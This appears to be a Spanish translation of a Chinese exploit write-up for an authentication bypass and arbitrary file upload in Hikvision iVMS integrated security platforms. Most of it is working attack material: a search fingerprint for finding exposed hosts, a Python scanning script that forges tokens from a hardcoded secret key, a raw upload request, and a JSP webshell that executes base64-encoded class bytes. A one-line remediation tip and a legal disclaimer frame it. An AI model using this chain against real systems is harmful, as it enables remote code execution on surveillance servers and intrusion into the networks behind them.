Declaración:
Este artículo es sólo para comunicación técnica. Por favor no lo utilice con fines ilegales.
Cualquier consecuencia y pérdida directa o indirecta causada por la difusión y el uso de la información proporcionada en este artículo es responsabilidad del propio usuario. El autor de El artículo no asume ninguna responsabilidad por esta responsabilidad.
I. Descripción general
Descripción del Producto
La plataforma de gestión de aplicaciones de monitoreo centralizado Hikvision iVMS está orientada a aplicaciones comerciales de seguridad y basada en aplicaciones de imágenes de video. Integra múltiples sistemas de aplicaciones de seguridad, como videovigilancia, alarmas en red, análisis inteligente y gestión de operación y mantenimiento para construir una aplicación multinegocio integral. plataforma de gestión.
2. Descripción de la vulnerabilidad
El sistema Hikvision iVMS tiene una vulnerabilidad de día 0. Un atacante puede obtener la clave para construir un token de forma arbitraria y solicitar la interfaz /resourceOperations/upload para cargar archivos de forma arbitraria, obteniendo así permisos de webshell del servidor y ejecutando código malicioso de forma remota .
3. Ámbito de influencia
Sistema de seguridad integrado Hikvision iVMS-5000
Sistema de seguridad integrado Hikvision iVMS-8700
Estampado de águila
web.body="/views/home/file/installPackage.rar"
4. Guión POC
POC escrito por el jefe, dirección de descarga (pero probé el POC muchas veces para detectar la vulnerabilidad, pero no pude reproducirlo manualmente)
PoC del script de detección: https://github.com/sccmdaveli/hikvision-poc
Si no tiene acceso a github, puede ser responsable del código fuente a continuación
import requests
import urllib3
import urllib
import hashlib
import argparse
from colorama import init
from colorama import Fore
init(autoreset=True)
urllib3.disable_warnings()
head = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36",
"Cookie": "ISMS_8700_Sessionname=ABCB193BD9D82CC2D6094F6ED4D81169"
}
def md5encode(url):
if url.endswith("/"):
path = "eps/api/resourceOperations/uploadsecretKeyIbuilding"
else:
path = "/eps/api/resourceOperations/uploadsecretKeyIbuilding"
encodetext = url + path
input_name = hashlib.md5()
input_name.update(encodetext.encode("utf-8"))
return (input_name.hexdigest()).upper()
def poc(url):
if url.endswith("/"):
path = "eps/api/resourceOperations/upload?token="
else:
path = "/eps/api/resourceOperations/upload?token="
pocurl = url + path + md5encode(url)
data = {
"service": urllib.parse.quote(url + "/home/index.action")
}
try:
response = requests.post(url=pocurl,headers=head,data=data,verify=False,timeout=3)
if response.status_code==200:
print(Fore.GREEN + f"[+]{url}存在海康威视iVMS 综合安防任意文件上传漏洞!!!!")
else:
print(Fore.RED + f"[-]{url}不存在海康威视iVMS 综合安防任意文件上传漏洞")
except:
pass
if __name__ == '__main__':
parser = argparse.ArgumentParser(usage='python3 ivms.py -u http://xxxx\npython3 ivms.py -f file.txt',
description='ivms漏洞检测poc',
)
p = parser.add_argument_group('ivms 的参数')
p.add_argument("-u", "--url", type=str, help="测试单条url")
p.add_argument("-f", "--file", type=str, help="测试多个url文件")
args = parser.parse_args()
if args.url:
poc(args.url)
if args.file:
for i in open(args.file,"r").read().split("\n"):
poc(i)
Cómo utilizar:
Detección de URL única: python3 ivms-poc.py -u url
Detección de múltiples URL: python3 ivms-poc.py -f file.txt
5. Recurrencia de vulnerabilidades
URL de vulnerabilidad:/eps/api/resourceOperations/upload
Tenga en cuenta que el método de transferencia de parámetros es POST
bp toma el paquete de la página de inicio e intenta acceder a la interfaz (se descubre que el token necesita ser autenticado), y el campo token ¡vacío! aparece en el paquete devuelto.
Construya un token para omitir la autenticación (mecanismo interno: si el valor del token es el mismo que el valor md5 de la URL de solicitud + clave secreta, se puede omitir la autenticación)
La clave secreta está codificada en el código (valor predeterminado: secretKeyIbuilding)
El valor del token debe estar cifrado MD5 (mayúsculas de 32 bits)
Combinación: token=MD5(url+"secretKeyIbuilding")
revalidar
Carga útil de carga de archivos construida y omitida con éxito
POST /eps/api/resourceOperations/upload?token=构造的token值 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: ISMS_8700_Sessionname=A29E70BEA1FDA82E2CF0805C3A389988
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryGEJwiloiPo
Upgrade-Insecure-Requests: 1
Content-Length: 174
------WebKitFormBoundaryGEJwiloiPo
Content-Disposition: form-data; name="fileUploader";filename="1.jsp"
Content-Type: image/jpeg
test
------WebKitFormBoundaryGEJwiloiPo
Muestra que la carga se realizó correctamente y se devuelve el valor de ResourceUuid.
Ruta de verificación: http://url/eps/upload/resourceUuid value.jsp
6. Explotación de vulnerabilidades
Cargue directamente el troyano Ant Sword jsp
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
Carga exitosa, intenta conectarte.
7. Sugerencias de reparación
Desactive los permisos de acceso para la exposición a Internet y realice una autenticación de permisos sólida en el módulo de carga de archivos.
El enlace original del jefe: https://blog.csdn.net/qq_41904294/article/details/130807691